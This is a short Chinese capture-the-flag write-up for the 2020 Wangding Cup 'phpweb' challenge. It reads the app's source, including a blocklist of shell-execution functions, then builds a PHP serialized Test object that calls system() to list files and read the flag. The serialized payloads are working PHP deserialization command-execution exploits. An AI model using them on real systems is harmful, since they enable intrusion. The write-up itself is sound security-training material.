[网鼎杯 2020 朱雀组]phpweb1

打开环境： 题目是phpweb，感觉是一道代码审计题，看看如何搞到代码

 

 

看到有俩个传参，随手修改一下参数

 

 发现报错 call_user_func函数，联想到了func和p参数，尝试修改参数读取源代码，show_source & index.php

 

 吆喝，被过滤了，有戏，换个函数再试试；

 

 ok，拿到了index页面代码，整理一下；

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

 

发现漏洞点：class Test{} 利用 自定义gettime函数调用，call_user_func() 函数执行命令；

 

构造payload：O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}

<?php
 class Test {
     var $p = "ls";
     var $func = "system";
     function __destruct() {
            if ($this->func != "") {
             echo gettime($this->func, $this->p);
         }
     }
 }
 $a=new Test();
 echo serialize($a);

 

得到payload:

O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}

 

使用payload试试效果：

 

 

ok，正常执行命令了，那就找一下flag吧

payload：O:4:”Test”:2:{s:1:”p”;s:22:”cat /tmp/flagoefiu4r93″;s:4:”func”;s:6:”system”;}